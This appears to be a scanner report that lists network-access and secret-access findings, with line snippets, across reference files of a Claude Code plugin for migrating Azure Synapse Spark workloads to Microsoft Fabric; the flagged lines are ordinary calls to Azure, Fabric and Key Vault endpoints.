  • Network accessline 110
    "https://mykeyvault.vault.azure.net/",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/connector-refactoring.md

  • Network accessline 18
    .format("com.microsoft.kusto.spark.synapse.datasource")     .option("spark.synapse.linkedService", "AzureDataExplorer1")     .option("kustoCluster", "https://mycluster.kusto.windows.net")
  • Network accessline 19
    .option("spark.synapse.linkedService", "AzureDataExplorer1")     .option("kustoCluster", "https://mycluster.kusto.windows.net")     .option("kustoDatabase", "mydb")
  • Network accessline 20
    .option("kustoCluster", "https://mycluster.kusto.windows.net")
  • Network accessline 26
    kustoDF = (spark.read     .format("com.microsoft.kusto.spark.synapse.datasource")     .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net"))
  • Network accessline 27
    .format("com.microsoft.kusto.spark.synapse.datasource")     .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net"))     .option("kustoCluster", "https://mycluster.kusto.windows.net")
  • Network accessline 28
    .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net"))
  • Network accessline 29
    .option("kustoCluster", "https://mycluster.kusto.windows.net")
  • Network accessline 40
    .format("com.microsoft.kusto.spark.synapse.datasource")     .option("spark.synapse.linkedService", "AzureDataExplorer1")     .option("kustoCluster", "https://mycluster.kusto.windows.net")
  • Network accessline 41
    .option("spark.synapse.linkedService", "AzureDataExplorer1")     .option("kustoCluster", "https://mycluster.kusto.windows.net")     .option("kustoDatabase", "mydb")
  • Network accessline 42
    .option("kustoCluster", "https://mycluster.kusto.windows.net")
  • Network accessline 50
    (df.write     .format("com.microsoft.kusto.spark.synapse.datasource")     .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net"))
  • Network accessline 51
    .format("com.microsoft.kusto.spark.synapse.datasource")     .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net"))     .option("kustoCluster", "https://mycluster.kusto.windows.net")
  • Network accessline 52
    .option("accessToken", notebookutils.credentials.getToken("https://mycluster.kusto.windows.net"))
  • Network accessline 53
    .option("kustoCluster", "https://mycluster.kusto.windows.net")
  • Network accessline 83
    # ✅ AFTER — Fabric: Cosmos DB via Key Vault secret cosmos_key = notebookutils.credentials.getSecret(     "https://mykeyvault.vault.azure.net/", "cosmos-account-key"
  • Network accessline 84
    cosmos_key = notebookutils.credentials.getSecret(     "https://mykeyvault.vault.azure.net/", "cosmos-account-key" )
  • Network accessline 85
    "https://mykeyvault.vault.azure.net/", "cosmos-account-key"
  • Network accessline 88
    cosmosDF = (spark.read     .format("cosmos.oltp")     .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/")
  • Network accessline 89
    .format("cosmos.oltp")     .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/")     .option("spark.cosmos.accountKey", cosmos_key)
  • Network accessline 90
    .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/")
  • Network accessline 110
    # ✅ AFTER — Fabric cosmos_key = notebookutils.credentials.getSecret(     "https://mykeyvault.vault.azure.net/", "cosmos-account-key"
  • Network accessline 111
    cosmos_key = notebookutils.credentials.getSecret(     "https://mykeyvault.vault.azure.net/", "cosmos-account-key" )
  • Network accessline 112
    "https://mykeyvault.vault.azure.net/", "cosmos-account-key"
  • Network accessline 115
    (df.write     .format("cosmos.oltp")     .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/")
  • Network accessline 116
    .format("cosmos.oltp")     .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/")     .option("spark.cosmos.accountKey", cosmos_key)
  • Network accessline 117
    .option("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/")
  • Network accessline 148
    # ✅ AFTER — Fabric: Spark config with direct credentials cosmos_key = notebookutils.credentials.getSecret(     "https://mykeyvault.vault.azure.net/", "cosmos-account-key"
  • Network accessline 149
    cosmos_key = notebookutils.credentials.getSecret(     "https://mykeyvault.vault.azure.net/", "cosmos-account-key" )
  • Network accessline 150
    "https://mykeyvault.vault.azure.net/", "cosmos-account-key"
  • Network accessline 151
    ) spark.conf.set("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/") spark.conf.set("spark.cosmos.accountKey", cosmos_key)
  • Network accessline 152
    spark.conf.set("spark.cosmos.accountEndpoint", "https://mycosmosaccount.documents.azure.com:443/")
  • Network accessline 180
    # ✅ AFTER — Fabric: OAuth via standard ClientCredsTokenProvider storage_account = "mystorageaccount" client_id = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id")
  • Network accessline 181
    [Credential-related source omitted]
  • Network accessline 182
    client_id = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id")
  • Network accessline 183
    [Credential-related source omitted]
  • Access to secretsline 183
    [Credential-related source omitted]
  • Network accessline 184
    tenant_id = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "tenant-id")
  • Network accessline 190
    [Credential-related source omitted]
  • Access to secretsline 190
    [Credential-related source omitted]
  • Network accessline 192
    f"https://login.microsoftonline.com/{tenant_id}/oauth2/token")
  • Network accessline 209
    // ✅ AFTER — Fabric (Scala): standard OAuth val storageAccount = "mystorageaccount" val clientId = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id")
  • Network accessline 210
    val storageAccount = "mystorageaccount" val clientId = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id") val clientSecret = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", 
  • Network accessline 211
    val clientId = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-id")
  • Network accessline 212
    val clientSecret = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "sp-client-secret")
  • Network accessline 213
    val tenantId = notebookutils.credentials.getSecret("https://mykeyvault.vault.azure.net/", "tenant-id")
  • Network accessline 219
    spark.conf.set(s"fs.azure.account.oauth2.client.secret.${storageAccount}.dfs.core.windows.net", clientSecret) spark.conf.set(s"fs.azure.account.oauth2.client.endpoint.${storageAccount}.dfs.core.windows.net",   s"https://login.microsoftonlin
  • Network accessline 221
    s"https://login.microsoftonline.com/${tenantId}/oauth2/token")
  • Network accessline 244
    [Credential-related source omitted]
  • Network accessline 245
    [Credential-related source omitted]
  • Network accessline 247
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 260
    val accountName = "mystorageaccount"  // or read from notebook parameters // If dynamic, store in Key Vault: // val accountName = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "storage-account-name")
  • Network accessline 262
    // val accountName = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "storage-account-name")
  • Network accessline 273
    [Credential-related source omitted]
  • Network accessline 274
    [Credential-related source omitted]
  • Network accessline 275
    "https://mykeyvault.vault.azure.net/",
  • Network accessline 297
    [Credential-related source omitted]
  • Network accessline 298
    [Credential-related source omitted]

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/external-hms-migration.md

  • Network accessline 8
    > > **Auth tokens needed** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse ARM audience: `https://management.azure.com` (for detection)
  • Network accessline 9
    > **Auth tokens needed** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse ARM audience: `https://management.azure.com` (for detection) > - HMS database: JDBC cred
  • Network accessline 10
    > - Synapse ARM audience: `https://management.azure.com` (for detection)
  • Network accessline 12
    > - Fabric audience: `https://api.fabric.microsoft.com`
  • Network accessline 39
    GET https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws}/bigDataPools/{poolName}?api-version=2021-06-01
  • Network accessline 283
    **Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items`
  • Network accessline 340
    - `location`: `https://{storage}.dfs.core.windows.net`
  • Network accessline 349
    - `location`: `https://{storage}.dfs.core.windows.net`
  • Network accessline 354
    **Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{lakehouseId}/shortcuts`
  • Network accessline 363
    "type": "AdlsGen2",     "adlsGen2": {       "location": "https://{storageAccount}.dfs.core.windows.net",
  • Network accessline 364
    "adlsGen2": {       "location": "https://{storageAccount}.dfs.core.windows.net",       "subpath": "/{container}/{path/to/table}",
  • Network accessline 365
    "location": "https://{storageAccount}.dfs.core.windows.net",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/lake-database-migration.md

  • Network accessline 9
    > **Prerequisite**: Authenticate to both Synapse and Fabric APIs before starting (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes)). > - Synapse data-plane audience: `https://dev.azuresynaps
  • Network accessline 10
    > - Synapse data-plane audience: `https://dev.azuresynapse.net`
  • Network accessline 11
    > - Fabric audience: `https://api.fabric.microsoft.com`
  • Network accessline 41
    GET https://{workspaceName}.dev.azuresynapse.net/databases?api-version=2021-04-01
  • Network accessline 235
    resp = requests.post(f"{FABRIC_BASE}/workspaces/{ws_id}/items", headers=fab_headers, json=payload)
  • Network accessline 236
    if resp.status_code == 409:     # Lakehouse already exists — look it up by name and reuse     items = requests.get(f"{FABRIC_BASE}/workspaces/{ws_id}/items?type=Lakehouse", headers=fab_headers).json()
  • Network accessline 237
    # Lakehouse already exists — look it up by name and reuse     items = requests.get(f"{FABRIC_BASE}/workspaces/{ws_id}/items?type=Lakehouse", headers=fab_headers).json()     existing = next((i for i in items.get("value", []) if i["displayNam
  • Network accessline 238
    items = requests.get(f"{FABRIC_BASE}/workspaces/{ws_id}/items?type=Lakehouse", headers=fab_headers).json()
  • Network accessline 325
    # Step 1: Get storage account key via ARM arm_url = (     f"https://management.azure.com/subscriptions/{subscription_id}"
  • Network accessline 326
    arm_url = (     f"https://management.azure.com/subscriptions/{subscription_id}"     f"/resourceGroups/{resource_group}"
  • Network accessline 327
    f"https://management.azure.com/subscriptions/{subscription_id}"
  • Network accessline 330
    f"/listKeys?api-version=2023-05-01" ) key_resp = requests.post(arm_url, headers=arm_headers)
  • Network accessline 332
    key_resp = requests.post(arm_url, headers=arm_headers)
  • Network accessline 343
    "creationMethod": "AzureDataLakeStorage",             "parameters": [                 {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"},
  • Network accessline 344
    "parameters": [                 {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"},                 {"dataType": "Text", "name": "path", "value": f"/{container}"}
  • Network accessline 345
    {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"},
  • Network accessline 358
    }     }     conn_resp = requests.post("https://api.fabric.microsoft.com/v1/connections",
  • Network accessline 359
    }     conn_resp = requests.post("https://api.fabric.microsoft.com/v1/connections",                               headers=fab_headers, json=create_conn)
  • Network accessline 360
    conn_resp = requests.post("https://api.fabric.microsoft.com/v1/connections",
  • Network accessline 378
    "creationMethod": "AzureDataLakeStorage",         "parameters": [             {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"},
  • Network accessline 379
    "parameters": [             {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"},             {"dataType": "Text", "name": "path", "value": f"/{container}"}
  • Network accessline 380
    {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"},
  • Network accessline 408
    1. Open Fabric Portal → Settings → Manage connections and gateways    https://app.fabric.microsoft.com/connections
  • Network accessline 409
    https://app.fabric.microsoft.com/connections
  • Network accessline 410
    (MSIT: https://msit.powerbi.com/connections)
  • Network accessline 411
    2. Click '+ New' → Cloud → Azure Data Lake Storage Gen2 3. Server: https://{storageAccount}.dfs.core.windows.net    Path: /{container}
  • Network accessline 412
    3. Server: https://{storageAccount}.dfs.core.windows.net
  • Network accessline 417
    Documentation: https://learn.microsoft.com/fabric/data-engineering/lakehouse-shortcuts#create-a-shortcut
  • Network accessline 458
    "type": "AdlsGen2",     "adlsGen2": {       "location": "https://{storageAccount}.dfs.core.windows.net",
  • Network accessline 459
    "adlsGen2": {       "location": "https://{storageAccount}.dfs.core.windows.net",       "subpath": "/{container}/{path/to/table}",
  • Network accessline 460
    "location": "https://{storageAccount}.dfs.core.windows.net",
  • Network accessline 476
    Split this into: - `location`: `https://{storage}.dfs.core.windows.net`
  • Network accessline 477
    - `location`: `https://{storage}.dfs.core.windows.net`
  • Network accessline 484
    Split into: - `location`: `https://{storage}.dfs.core.windows.net`
  • Network accessline 485
    - `location`: `https://{storage}.dfs.core.windows.net`
  • Network accessline 514
    "type": "AdlsGen2",     "adlsGen2": {       "location": "https://{storageAccount}.dfs.core.windows.net",
  • Network accessline 515
    "adlsGen2": {       "location": "https://{storageAccount}.dfs.core.windows.net",       "subpath": "/{container}/synapse/workspaces/{workspace}/warehouse/{database}",
  • Network accessline 516
    "location": "https://{storageAccount}.dfs.core.windows.net",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/library-compatibility.md

  • Network accessline 21
    > **Reference manifests**: For a full line-by-line comparison of every built-in library, see the [microsoft/synapse-spark-runtime](https://github.com/microsoft/synapse-spark-runtime) GitHub repo. Compare `Fabric/Runtime 1.3` vs `Synapse/spa

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/migration-gotchas.md

  • Network accessline 36
    [Credential-related source omitted]
  • Network accessline 38
    [Credential-related source omitted]

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/migration-orchestrator.md

  • Network accessline 24
    > **URL parsing**: If the user provides a Synapse Studio URL, extract all three values from the embedded ARM path: > `https://web.azuresynapse.net/en/home?workspace=%2Fsubscriptions%2F{subId}%2FresourceGroups%2F{rg}%2Fproviders%2FMicrosoft.
  • Network accessline 25
    > `https://web.azuresynapse.net/en/home?workspace=%2Fsubscriptions%2F{subId}%2FresourceGroups%2F{rg}%2Fproviders%2FMicrosoft.Synapse%2Fworkspaces%2F{wsName}`
  • Network accessline 30
    | Value | Derived From | |---|---| | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` |
  • Network accessline 31
    |---|---| | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` | | Fabric workspace ID | `GET /v1/workspaces` → filter by `displayName` |
  • Network accessline 32
    | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` |
  • Network accessline 145
    > **Token audiences** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for base `az login` flows): > - ARM: `https://management.azure.com`
  • Network accessline 146
    > - ARM: `https://management.azure.com`
  • Network accessline 147
    > - Synapse data-plane: `https://dev.azuresynapse.net`
  • Network accessline 148
    > - Fabric: `https://api.fabric.microsoft.com`
  • Network accessline 176
    def refresh_all(self):         self.arm = get_token("https://management.azure.com")
  • Network accessline 177
    self.arm = get_token("https://management.azure.com")
  • Network accessline 178
    self.synapse = get_token("https://dev.azuresynapse.net")
  • Network accessline 179
    self.fabric = get_token("https://api.fabric.microsoft.com")
  • Network accessline 202
    > **Usage pattern**: After every Fabric/Synapse API call, check for 401 and retry once: > ```python > resp = requests.post(url, headers=tokens.fab_headers, json=payload)
  • Network accessline 203
    > ```python > resp = requests.post(url, headers=tokens.fab_headers, json=payload) > if tokens.refresh_if_needed(resp):
  • Network accessline 204
    > resp = requests.post(url, headers=tokens.fab_headers, json=payload)
  • Network accessline 205
    > if tokens.refresh_if_needed(resp): >     resp = requests.post(url, headers=tokens.fab_headers, json=payload) > ```
  • Network accessline 206
    >     resp = requests.post(url, headers=tokens.fab_headers, json=payload)
  • Network accessline 212
    # Verify Synapse ARM access resp = requests.get(
  • Network accessline 213
    resp = requests.get(
  • Network accessline 214
    f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}"
  • Network accessline 220
    # Verify Synapse data-plane access resp = requests.get(
  • Network accessline 221
    resp = requests.get(
  • Network accessline 222
    f"https://{ws_name}.dev.azuresynapse.net/notebooks?api-version=2020-12-01",
  • Network accessline 227
    # Resolve Fabric workspace ID resp = requests.get(
  • Network accessline 228
    resp = requests.get(
  • Network accessline 229
    "https://api.fabric.microsoft.com/v1/workspaces",
  • Network accessline 245
    def existing_items_map(item_type):     """Get map of displayName → id for existing items. Used to skip duplicates on resume."""     resp = requests.get(
  • Network accessline 246
    """Get map of displayName → id for existing items. Used to skip duplicates on resume."""     resp = requests.get(         f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type={item_type}",
  • Network accessline 247
    resp = requests.get(
  • Network accessline 248
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type={item_type}",
  • Network accessline 250
    )     if tokens.refresh_if_needed(resp):         resp = requests.get(
  • Network accessline 251
    if tokens.refresh_if_needed(resp):         resp = requests.get(             f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type={item_type}",
  • Network accessline 252
    resp = requests.get(
  • Network accessline 253
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type={item_type}",
  • Network accessline 287
    pools_resp = requests.get(
  • Network accessline 288
    f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}"
  • Network accessline 311
    dbs_resp = requests.get(
  • Network accessline 312
    f"https://{ws_name}.dev.azuresynapse.net/databases?api-version=2021-04-01",
  • Network accessline 323
    for db in databases:     db_name = db["name"]     tables_resp = requests.get(
  • Network accessline 324
    db_name = db["name"]     tables_resp = requests.get(         f"https://{ws_name}.dev.azuresynapse.net/databases/{db_name}/TABLEs?api-version=2021-04-01",
  • Network accessline 325
    tables_resp = requests.get(
  • Network accessline 326
    f"https://{ws_name}.dev.azuresynapse.net/databases/{db_name}/TABLEs?api-version=2021-04-01",
  • Network accessline 335
    notebooks_resp = requests.get(
  • Network accessline 336
    f"https://{ws_name}.dev.azuresynapse.net/notebooks?api-version=2020-12-01",
  • Network accessline 340
    # Handle pagination while "nextLink" in notebooks_resp.json():     notebooks_resp = requests.get(notebooks_resp.json()["nextLink"],
  • Network accessline 341
    while "nextLink" in notebooks_resp.json():     notebooks_resp = requests.get(notebooks_resp.json()["nextLink"],                                   headers=tokens.syn_headers)
  • Network accessline 342
    notebooks_resp = requests.get(notebooks_resp.json()["nextLink"],
  • Network accessline 350
    sjds_resp = requests.get(
  • Network accessline 351
    f"https://{ws_name}.dev.azuresynapse.net/sparkJobDefinitions?api-version=2020-12-01",
  • Network accessline 426
    After POST /environments → 201, the updateDefinition endpoint may return 404     for a few seconds while the Environment is provisioned."""     url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}"
  • Network accessline 427
    for a few seconds while the Environment is provisioned."""     url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}"            f"/environments/{env_id}/updateDefinition")
  • Network accessline 428
    url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}"
  • Network accessline 429
    f"/environments/{env_id}/updateDefinition")     for attempt in range(1, max_retries + 1):         resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload)
  • Network accessline 430
    for attempt in range(1, max_retries + 1):         resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload)         if resp.status_code == 401:
  • Network accessline 431
    resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload)
  • Network accessline 432
    if resp.status_code == 401:             tokens.refresh_if_needed(resp)             resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload)
  • Network accessline 433
    tokens.refresh_if_needed(resp)             resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload)             return resp
  • Network accessline 434
    resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload)
  • Network accessline 454
    continue     env_id = mapping["fabricEnvironmentId"]     resp = requests.get(
  • Network accessline 455
    env_id = mapping["fabricEnvironmentId"]     resp = requests.get(         f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/environments/{env_id}",
  • Network accessline 456
    resp = requests.get(
  • Network accessline 457
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/environments/{env_id}",
  • Network accessline 630
    "type": "AdlsGen2",             "adlsGen2": {                 "location": f"https://{account}.dfs.core.windows.net",
  • Network accessline 631
    "adlsGen2": {                 "location": f"https://{account}.dfs.core.windows.net",                 "subpath": f"/{container}",
  • Network accessline 632
    "location": f"https://{account}.dfs.core.windows.net",
  • Network accessline 636
    }     }     resp = requests.post(
  • Network accessline 637
    }     resp = requests.post(         f"{BASE_URL}/workspaces/{fabric_ws_id}/items/{lakehouse_id}/shortcuts",
  • Network accessline 638
    resp = requests.post(
  • Network accessline 834
    for nb_name, mapping in notebook_mappings.items():     nb_id = mapping["fabricNotebookId"]     resp = requests.post(
  • Network accessline 835
    nb_id = mapping["fabricNotebookId"]     resp = requests.post(         f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}"
  • Network accessline 836
    resp = requests.post(
  • Network accessline 837
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}"
  • Network accessline 892
    for sjd_name, mapping in sjd_mappings.items():     sjd_id = mapping["fabricSjdId"]     resp = requests.post(
  • Network accessline 893
    sjd_id = mapping["fabricSjdId"]     resp = requests.post(         f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}"
  • Network accessline 894
    resp = requests.post(
  • Network accessline 895
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}"
  • Network accessline 992
    PORTAL_URL = "https://app.fabric.microsoft.com"
  • Network accessline 993
    FAB_BASE = "https://api.fabric.microsoft.com/v1"
  • Network accessline 1001
    items = []     while url:         resp = requests.get(url, headers=headers)
  • Network accessline 1002
    while url:         resp = requests.get(url, headers=headers)         resp.raise_for_status()
  • Network accessline 1003
    resp = requests.get(url, headers=headers)
  • Network accessline 1379
    [Credential-related source omitted]
  • Network accessline 1455
    for item in deletion_plan:         resp = requests.delete(
  • Network accessline 1456
    resp = requests.delete(
  • Network accessline 1457
    f"https://api.fabric.microsoft.com/v1/workspaces/{ws_id}/items/{item['itemId']}",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/migration-report.md

  • Network accessline 9
    All Fabric portal links use base URL `https://app.fabric.microsoft.com`.
  • Network accessline 14
    https://app.fabric.microsoft.com/groups/{workspaceId}
  • Network accessline 19
    | Item Type | Portal URL | |---|---| | **Lakehouse** | `https://app.fabric.microsoft.com/groups/{workspaceId}/lakehouses/{itemId}` |
  • Network accessline 20
    |---|---| | **Lakehouse** | `https://app.fabric.microsoft.com/groups/{workspaceId}/lakehouses/{itemId}` | | **Notebook** | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapse/notebooks/{itemId}` |
  • Network accessline 21
    | **Lakehouse** | `https://app.fabric.microsoft.com/groups/{workspaceId}/lakehouses/{itemId}` |
  • Network accessline 22
    | **Notebook** | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapse/notebooks/{itemId}` |
  • Network accessline 23
    | **Spark Job Definition** | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapse/sparkjobdefinitions/{itemId}` |
  • Network accessline 24
    | **Environment** | `https://app.fabric.microsoft.com/groups/{workspaceId}/environments/{itemId}` |
  • Network accessline 49
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items?type={itemType}
  • Network accessline 64
    [Credential-related source omitted]
  • Network accessline 65
    [Credential-related source omitted]
  • Network accessline 69
    BASE_URL = "https://api.fabric.microsoft.com/v1"
  • Network accessline 70
    PORTAL_URL = "https://app.fabric.microsoft.com"
  • Network accessline 78
    items = []     while url:         resp = requests.get(url, headers=headers)
  • Network accessline 79
    while url:         resp = requests.get(url, headers=headers)         resp.raise_for_status()
  • Network accessline 80
    resp = requests.get(url, headers=headers)
  • Network accessline 291
    **Target**: [Fabric Workspace](https://app.fabric.microsoft.com/groups/a1b2c3d4-e5f6-7890-abcd-ef1234567890)
  • Network accessline 296
    | # | Environment Name | Fabric Link | Description | |---|---|---|---| | 1 | `ETLPool_env` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../environments/5b218778-...) | Migrated from Synapse Spark pool: ETLPool |
  • Network accessline 297
    |---|---|---|---| | 1 | `ETLPool_env` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../environments/5b218778-...) | Migrated from Synapse Spark pool: ETLPool | | 2 | `MLPool_env` | [Open in Fabric](https://app.fabric.
  • Network accessline 298
    | 1 | `ETLPool_env` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../environments/5b218778-...) | Migrated from Synapse Spark pool: ETLPool |
  • Network accessline 299
    | 2 | `MLPool_env` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../environments/c3d4e5f6-...) | Migrated from Synapse Spark pool: MLPool |
  • Network accessline 306
    | # | Lakehouse Name | Fabric Link | Description | |---|---|---|---| | 1 | `SilverLakehouse` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../lakehouses/7890abcd-...) | Migrated from Synapse lake database: silver_db |
  • Network accessline 308
    | 1 | `SilverLakehouse` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../lakehouses/7890abcd-...) | Migrated from Synapse lake database: silver_db |
  • Network accessline 327
    | # | Notebook Name | Fabric Link | Description | |---|---|---|---| | 1 | `bronze_ingest` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/1234abcd-...) | |
  • Network accessline 328
    |---|---|---|---| | 1 | `bronze_ingest` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/1234abcd-...) | | | 2 | `silver_transform` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4
  • Network accessline 329
    | 1 | `bronze_ingest` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/1234abcd-...) | |
  • Network accessline 330
    | 2 | `silver_transform` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/5678efgh-...) | |
  • Network accessline 331
    | 3 | `gold_aggregate` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/9012ijkl-...) | |
  • Network accessline 338
    | # | SJD Name | Fabric Link | Description | |---|---|---|---| | 1 | `daily_etl_job` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/sparkjobdefinitions/mnop3456-...) | |
  • Network accessline 340
    | 1 | `daily_etl_job` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/sparkjobdefinitions/mnop3456-...) | |
  • Network accessline 385
    "fabric_id": fabric_item["id"],         "fabric_type": fabric_item["type"],         "fabric_url": f"https://app.fabric.microsoft.com/groups/{WORKSPACE_ID}/{_type_path(fabric_item)}",
  • Network accessline 386
    "fabric_type": fabric_item["type"],         "fabric_url": f"https://app.fabric.microsoft.com/groups/{WORKSPACE_ID}/{_type_path(fabric_item)}",         "status": status,
  • Network accessline 387
    "fabric_url": f"https://app.fabric.microsoft.com/groups/{WORKSPACE_ID}/{_type_path(fabric_item)}",
  • Network accessline 426
    | Item Type | Synapse Studio URL Pattern | |---|---| | **Notebook** | `https://web.azuresynapse.net/en/authoring/analyze/notebooks/{notebookName}?workspace=/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{w
  • Network accessline 427
    |---|---| | **Notebook** | `https://web.azuresynapse.net/en/authoring/analyze/notebooks/{notebookName}?workspace=/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws}` | | **SJD** | `https://web.azuresynapse
  • Network accessline 428
    | **Notebook** | `https://web.azuresynapse.net/en/authoring/analyze/notebooks/{notebookName}?workspace=/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws}` |
  • Network accessline 429
    | **SJD** | `https://web.azuresynapse.net/en/authoring/analyze/sparkJobDefinitions/{sjdName}?workspace=...` |
  • Network accessline 430
    | **Spark Pool** | `https://web.azuresynapse.net/en/management/sparkPools/{poolName}?workspace=...` |
  • Network accessline 431
    | **Lake Database** | `https://web.azuresynapse.net/en/authoring/analyze/databases/{dbName}?workspace=...` |
  • Network accessline 434
    def synapse_item_url(item_type, item_name, sub_id, rg, ws_name):     """Build a Synapse Studio URL for the source item."""     base = "https://web.azuresynapse.net/en"
  • Network accessline 435
    """Build a Synapse Studio URL for the source item."""     base = "https://web.azuresynapse.net/en"     ws_path = f"/subscriptions/{sub_id}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws_name}"
  • Network accessline 436
    base = "https://web.azuresynapse.net/en"
  • Network accessline 450
    | Synapse Item | Fabric Item | Status | |---|---|---| | [bronze_ingest (Synapse)](https://web.azuresynapse.net/en/authoring/...) | [bronze_ingest (Fabric)](https://app.fabric.microsoft.com/groups/.../synapse/notebooks/...) | ✅ Migrated |
  • Network accessline 452
    | [bronze_ingest (Synapse)](https://web.azuresynapse.net/en/authoring/...) | [bronze_ingest (Fabric)](https://app.fabric.microsoft.com/groups/.../synapse/notebooks/...) | ✅ Migrated |

